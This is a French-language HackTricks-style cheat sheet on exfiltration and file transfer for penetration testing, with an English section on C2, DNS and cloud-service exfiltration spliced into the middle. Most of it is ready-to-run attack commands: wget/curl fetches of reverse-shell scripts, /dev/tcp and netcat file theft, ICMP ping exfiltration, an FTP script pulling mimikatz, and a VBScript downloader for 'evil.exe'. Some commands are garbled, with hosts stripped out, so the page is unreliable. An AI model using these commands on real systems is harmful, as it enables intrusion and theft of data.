# Exfiltration
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**Groupe de sécurité Try Hard**
{% embed url="https://discord.gg/tryhardsecurity" %} *** ## Domaines couramment autorisés pour exfiltrer des informations Consultez [https://lots-project.com/](https://lots-project.com/) pour trouver des domaines couramment autorisés qui peuvent être abusés ## Copier\&Coller Base64 **Linux** ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` **Windows** ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` ## HTTP **Linux** ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` **Windows** ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf #PS (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` ### Téléverser des fichiers * [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) * [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) * Module Python [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files python3 -m pip install --user uploadserver python3 -m uploadserver # With basic auth: # python3 -m uploadserver --basic-auth hello:world # Send a file curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` ### **Serveur HTTPS** ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ # generate server.xml with the following command: # openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes # run as follows: # python simple-https-server.py # then in your browser, visit: # https://localhost:443 ### PYTHON 2 import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever() ### ### PYTHON3 from http.server import HTTPServer, BaseHTTPRequestHandler import ssl httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True) httpd.serve_forever() ### ### USING FLASK from flask import Flask, redirect, request from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): print(request.get_json()) return "OK" if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### ``` ## FTP ### Serveur FTP (python) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` ### Serveur FTP (NodeJS) ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` ### Serveur FTP (pure-ftp) ```bash apt-get update && apt-get install pure-ftp ``` ```bash #Run the following script to configure the FTP server #!/bin/bash groupadd ftpgroup useradd -g ftpgroup -d /dev/null -s /etc ftpuser pure-pwd useradd fusr -u ftpuser -d /ftphome pure-pw mkdb cd /etc/pure-ftpd/auth/ ln -s ../conf/PureDB 60pdb mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` ### **Client Windows** ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt echo USER anonymous >> ftp.txt echo anonymous >> ftp.txt echo bin >> ftp.txt echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` ## SMB Kali en tant que serveur ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` Ou créez un partage smb **en utilisant samba**: ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] comment = Samba on Ubuntu path = /tmp/smb read only = no browsable = yes guest ok = Yes #Start samba service smbd restart ``` # Exfiltration ## Introduction Exfiltration is the unauthorized transfer of data from a target system. This can be achieved through various methods, such as using command and control (C2) channels, exfiltrating data over DNS, or leveraging legitimate services like Dropbox for data exfiltration. ## Techniques ### Command and Control (C2) Channels C2 channels are commonly used by attackers to exfiltrate data from compromised systems. These channels allow the attacker to maintain control over the compromised system and exfiltrate data without being detected. ### DNS Exfiltration DNS exfiltration involves encoding data within DNS queries or responses to exfiltrate data from a target network. This technique can be used to bypass network security controls and exfiltrate data to an external server controlled by the attacker. ### Using Legitimate Services Attackers can leverage legitimate services like Dropbox, Google Drive, or OneDrive to exfiltrate data from a target system. By using these services, attackers can blend in with normal network traffic and avoid detection by security controls. ## Tools and Resources There are various tools and resources available to facilitate data exfiltration, including custom C2 frameworks, DNS exfiltration tools, and scripts for exfiltrating data using legitimate services. These tools can help attackers exfiltrate data efficiently and evade detection by security measures. ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` ## SCP L'attaquant doit avoir SSHd en cours d'exécution. ```bash scp @:/ ``` ## SSHFS Si la victime dispose de SSH, l'attaquant peut monter un répertoire de la victime vers l'attaquant. ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` ## NC ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` ## /dev/tcp ### Télécharger un fichier depuis la victime ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` ### Télécharger un fichier sur la victime ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` Merci à **@BinaryShadow\_** ## **ICMP** ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done #This will 4bytes per ping packet (you could probably increase this until 16) ``` ```python from scapy.all import * #This is ippsec receiver created in the HTB machine Mischief def process_packet(pkt): if pkt.haslayer(ICMP): if pkt[ICMP].type == 0: data = pkt[ICMP].load[-4:] #Read the 4bytes interesting print(f"{data.decode('utf-8')}", flush=True, end="") sniff(iface="tun0", prn=process_packet) ``` ## **SMTP** Si vous pouvez envoyer des données à un serveur SMTP, vous pouvez créer un SMTP pour recevoir les données avec python: ```bash sudo python -m smtpd -n -c DebuggingServer :25 ``` ## TFTP Par défaut dans XP et 2003 (dans d'autres, il doit être ajouté explicitement lors de l'installation) Dans Kali, **démarrer le serveur TFTP**: ```bash #I didn't get this options working and I prefer the python option mkdir /tftp atftpd --daemon --port 69 /tftp cp /path/tp/nc.exe /tftp ``` **Serveur TFTP en python :** ```bash pip install ptftpd ptftpd -p 69 tap0 . # ptftp -p ``` Dans **victime**, connectez-vous au serveur Kali : ```bash tftp -i get nc.exe ``` ## PHP Téléchargez un fichier avec un oneliner PHP : ```bash echo "" > down2.php ``` ## VBScript ### Introduction VBScript is a scripting language that is commonly used for Windows systems. It can be used for various tasks, including exfiltration of data from a compromised system. VBScript can be executed using the `cscript.exe` or `wscript.exe` interpreters. ### Exfiltration Techniques #### Writing to Files VBScript can write data to files on the compromised system. This can be achieved using the `FileSystemObject` to create and write to a file. ```vbs Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile("C:\path\to\file.txt", True) objFile.Write "Data to exfiltrate" objFile.Close ``` #### Sending HTTP Requests VBScript can also send HTTP requests to exfiltrate data to an external server. This can be done using the `MSXML2.ServerXMLHTTP` object. ```vbs Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP") objHTTP.Open "POST", "http://www.example.com/endpoint", False objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" objHTTP.send "data=exfiltrated_data" ``` ### Conclusion VBScript provides various methods for exfiltrating data from a compromised system, including writing to files and sending HTTP requests. It is important to use these techniques responsibly and ethically. ```bash Attacker> python -m SimpleHTTPServer 80 ``` **Victime** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs echo Err.Clear >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs echo http.Open "GET", strURL, False >> wget.vbs echo http.Send >> wget.vbs echo varByteArray = http.ResponseBody >> wget.vbs echo Set http = Nothing >> wget.vbs echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs echo strData = "" >> wget.vbs echo strBuffer = "" >> wget.vbs echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs echo Next >> wget.vbs echo ts.Close >> wget.vbs ``` ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe Le programme `debug.exe` permet non seulement l'inspection des binaires, mais a également la **capacité de les reconstruire à partir de l'hexadécimal**. Cela signifie qu'en fournissant un hexadécimal d'un binaire, `debug.exe` peut générer le fichier binaire. Cependant, il est important de noter que debug.exe a une **limite d'assemblage de fichiers jusqu'à 64 ko en taille**. ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` Ensuite, copiez-collez le texte dans le shell Windows et un fichier appelé nc.exe sera créé. * [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) ## DNS * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) **Try Hard Security Group**
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Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.